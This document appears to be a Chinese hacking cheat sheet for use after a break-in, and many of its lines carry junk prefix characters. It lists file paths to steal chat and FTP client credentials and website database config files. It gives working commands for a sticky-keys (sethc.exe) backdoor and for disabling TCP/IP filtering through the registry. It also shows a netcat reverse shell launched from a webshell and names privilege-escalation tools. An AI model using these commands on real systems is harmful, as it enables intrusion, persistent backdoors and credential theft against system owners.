/ M( J0 N3 B$ F$ P6 i& p! t# X+ n/usr/local/tomcat5527/bin/version.sh
9 W7 M, m. [6 v! z- [/usr/share/tomcat6/bin/startup.sh
' b  ~, e/ ?7 V0 ?/usr/tomcat6/bin/startup.sh
) l, q/ Q6 U: Y3 vc:\Program Files\QQ2007\qq.exe
$ f" P7 h$ E5 F2 L' `) D/ ^# lc:\Program Files\Tencent\qq\User.db
c:\Program Files\Tencent\qq\qq.exe
, n4 V1 D* a' m* `7 _c:\Program Files\Tencent\qq\bin\qq.exe
' u) o( I9 e4 L5 [9 ]/ Qc:\Program Files\Tencent\qq2009\qq.exe
c:\Program Files\Tencent\qq2008\qq.exe
c:\Program Files\Tencent\qq2010\bin\qq.exe
c:\Program Files\Tencent\qq\Users\All Users\Registry.db
/ F9 h) [& J& r, O$ kC:\Program Files\Tencent\TM\TMDlls\QQZip.dll
c:\Program Files\Tencent\Tm\Bin\Txplatform.exe
$ X& O. o- j# g7 q3 K( ]8 u( _c:\Program Files\Tencent\RTXServer\AppConfig.xml
C:\Program Files\Foxmal\Foxmail.exe
4 e$ \& ?) R1 l7 U$ D- v0 D8 d/ DC:\Program Files\Foxmal\accounts.cfg
C:\Program Files\tencent\Foxmal\Foxmail.exe
C:\Program Files\tencent\Foxmal\accounts.cfg
C:\Program Files\LeapFTP 3.0\LeapFTP.exe
4 N4 i  C; t" |( p; l# s* ZC:\Program Files\LeapFTP\LeapFTP.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\cftppro.exe
c:\Program Files\GlobalSCAPE\CuteFTP Pro\notes.txt
C:\Program Files\FlashFXP\FlashFXP.ini
C:\Program Files\FlashFXP\flashfxp.exe
5 k9 j) n) S4 Sc:\Program Files\Oracle\bin\regsvr32.exe
c:\Program Files\腾讯游戏\QQGAME\readme.txt
8 _+ W3 ]4 k* l: A+ H; H" K: Uc:\Program Files\tencent\腾讯游戏\QQGAME\readme.txt
c:\Program Files\tencent\QQGAME\readme.txt
5 h* L% U4 K7 F" q" I3 _2 {; ^C:\Program Files\StormII\Storm.exe

3 v3 I4 i! Y/ m9 q1 E" G9 s( G2 b3.网站相对路径:

& z; {* N' s2 e& U) {/config.php
8 \4 ?4 ?- L: v% Q- r../../config.php
../config.php
../../../config.php
/config.inc.php
./config.inc.php
../../config.inc.php
( a: h" Q9 L7 Y& |- ]: G../config.inc.php
../../../config.inc.php
/conn.php
./conn.php
../../conn.php
$ z7 H- }* [4 d, g# n4 ~9 o: c% h../conn.php
3 ^3 g" _' N) W9 i) ?; s; j2 d7 C2 }../../../conn.php
/conn.asp
6 ?5 f( V% X" n9 H& Z% U./conn.asp
../../conn.asp
- {( ^! f* o/ G/ R* ~7 F) |../conn.asp
: `/ {/ @. @. A$ I- e/ Q, k../../../conn.asp
3 g  S7 P# D) _/config.inc.php
./config.inc.php
% h4 h1 D2 j. z0 O$ M2 _../../config.inc.php
/ b# c! A& m! H../config.inc.php
2 Q; A+ p' y& i5 Z; y" Q' r../../../config.inc.php
/config/config.php
../../config/config.php
+ q) f7 u' i+ F- D& h../config/config.php
0 _; |3 O3 U  r% `/ U; s! ~../../../config/config.php
/config/config.inc.php
9 v5 b% J4 ~7 w( f; M. ]4 Q8 G./config/config.inc.php
../../config/config.inc.php
) x; P. y2 R5 Y( p% W../config/config.inc.php
  R% |% m: L; n1 a5 r../../../config/config.inc.php
/config/conn.php
./config/conn.php
. N% q* n* x  E../../config/conn.php
../config/conn.php
" Y& s) e+ G# ?, P% Y' h: h../../../config/conn.php
2 r5 W0 @; E8 J7 c. ]9 K- ^/config/conn.asp
./config/conn.asp
" N: t% c9 d1 C( p2 U1 _; R../../config/conn.asp
& g- S! l5 x3 r& e* G../config/conn.asp
../../../config/conn.asp
1 D1 U% v8 p+ L/config/config.inc.php
0 @& u) l- f8 D6 g" y./config/config.inc.php
../../config/config.inc.php
" s8 g' `& s# C  Q/ a) D../config/config.inc.php
0 u' S# k  y* r8 G/ q  O! D../../../config/config.inc.php
/data/config.php
) k0 R: ?! b$ Y/ M  X" M../../data/config.php
../data/config.php
../../../data/config.php
" W8 f# Y% K  o6 l3 F/data/config.inc.php
./data/config.inc.php
../../data/config.inc.php
: Y  {6 @& m2 Y- u9 R4 ~7 t; t1 u../data/config.inc.php
../../../data/config.inc.php
/data/conn.php
- D5 z5 {& N. B. ?5 [9 \./data/conn.php
6 F( a, d4 C8 L5 r1 j! \) u3 }6 h; G../../data/conn.php
# T0 p' z- C9 s+ I7 e. k../data/conn.php
../../../data/conn.php
% y6 w4 S7 {; w6 S0 b0 t# z" f/ J+ _/data/conn.asp
./data/conn.asp
../../data/conn.asp
! X5 w0 y. |$ D2 E, u1 g../data/conn.asp
1 A1 F2 A  _# Q- n! {. }../../../data/conn.asp
/data/config.inc.php
./data/config.inc.php
: c, _9 D+ m5 u- j1 U../../data/config.inc.php
/ |. w  w( W6 h7 h) x5 J5 z) |' |3 _../data/config.inc.php
1 p5 ?1 V- L. h& ^$ o5 |../../../data/config.inc.php
/include/config.php
../../include/config.php
8 W& D8 Y- F! v% B7 a7 _! v" X../include/config.php
../../../include/config.php
, a; F) t' p1 K# v) P5 u/include/config.inc.php
, B% [) F: z: O5 D) W5 L, Q./include/config.inc.php
../../include/config.inc.php
+ |5 Y' M) b  a( F% s, a# [../include/config.inc.php
../../../include/config.inc.php
/include/conn.php
- Q. t" ?* @; N5 G./include/conn.php
3 M. N& I9 J6 {8 J( c, m../../include/conn.php
3 |) l) J  i/ S, {5 |0 u../include/conn.php
../../../include/conn.php
' F" X, x+ y- W3 x/include/conn.asp
: P- G1 w* A+ m# K+ R./include/conn.asp
../../include/conn.asp
1 c3 c( e* @) f: F# ]../include/conn.asp
../../../include/conn.asp
/include/config.inc.php
./include/config.inc.php
3 W& F& ~$ A7 X../../include/config.inc.php
../include/config.inc.php
% R$ U* o8 o. C4 q8 d1 @+ ~../../../include/config.inc.php
/inc/config.php
. v) @: E  w5 W. H( R../../inc/config.php
../inc/config.php
../../../inc/config.php
4 P7 ^( v: u9 S# Y7 g" ~/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
../inc/config.inc.php
) x2 m: j- {. D* o' |" q0 F../../../inc/config.inc.php
/inc/conn.php
./inc/conn.php
../../inc/conn.php
../inc/conn.php
../../../inc/conn.php
/inc/conn.asp
./inc/conn.asp
../../inc/conn.asp
6 `5 U9 p0 x4 I: E../inc/conn.asp
../../../inc/conn.asp
( h) B- A2 o. }  H: r0 a" @/inc/config.inc.php
./inc/config.inc.php
../../inc/config.inc.php
& T, c, f8 l% i' A../inc/config.inc.php
../../../inc/config.inc.php
/index.php
. t) Q2 i9 V% `9 x./index.php
../../index.php
& X$ p. Y1 w; T9 ^$ ?9 U../index.php
! v1 M) |% G& S) _../../../index.php
/index.asp
7 `) d- Y6 B1 m, s9 e1 X2 N./index.asp
../../index.asp
9 N- Y; P$ K% F4 z/ I  c1 V4 s( d/ A../index.asp
../../../index.asp
替换SHIFT后门
$ r, S6 ^" u: u! B　attrib c:\windows\system32\sethc.exe -h -r -s

. Y  G) g0 m8 v% S- X/ S' K　　attrib c:\windows\system32\dllcache\sethc.exe -h -r -s

- ^0 X5 M# ?6 o. A4 F" V　　del c:\windows\system32\sethc.exe
7 O' W. Z1 P" |* L' z5 \2 n
2 V- N! L/ C5 f  K: \　　copy c:\windows\explorer.exe c:\windows\system32\sethc.exe

　　copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe

　　attrib c:\windows\system32\sethc.exe +h +r +s
4 b! f  r4 R6 G3 [* U; Z: Q- w
3 [! N7 p+ q, [7 e  Y, O　　attrib c:\windows\system32\dllcache\sethc.exe +h +r +s
8 H8 U. f. J% B# T. U4 L2 b; X8 c" ^去除TCPIP筛选
TCP/IP筛选在注册表里有三处，分别是：
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip

分别用
  `. f2 d" W+ S- Sregedit -e D:\a.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
: a% Z; {, f; b5 N, {( C/ Y* Lregedit -e D:\b.reg HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Services\Tcpip
regedit -e D:\c.reg HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip
) L& s7 R0 G  v& A4 e9 }- e命令来导出注册表项

然后把 三个文件里的EnableSecurityFilters"=dword:00000001，改成EnableSecurityFilters"=dword:00000000
* V3 W+ g  ?" z5 r; R- p+ I
再将以上三个文件分别用
regedit -s D:\a.reg
$ {; a+ Z$ {- O7 ]' _4 v) T& k. _9 d- j) Gregedit -s D:\b.reg
regedit -s D:\c.reg
导入注册表即可
/ |. ?; I8 s5 d* _" j; t
webshell提权小技巧
4 e/ Q6 i# J, _% p: T) Jcmd路径:
c:\windows\temp\cmd.exe
, r9 u0 s8 Q+ @nc也在同目录下
例如反弹cmdshell：
$ `! K, j- c9 a2 D& b"c:\windows\temp\nc.exe -vv ip 999 -e c:\windows\temp\cmd.exe"
6 W* d3 K. Q0 ^/ t3 O5 V+ h通常都不会成功。

而直接在 cmd路径上 输入 c:\windows\temp\nc.exe
命令输入   -vv ip 999 -e c:\windows\temp\cmd.exe
( j  g$ d1 P3 I. r8 K& u; Q却能成功。。
# I5 V- ?" h- j4 O4 u1 X& H这个不是重点
我们通常 执行 pr.exe 或 Churrasco.exe 时 有时候也需要 按照上面的 方法才能成功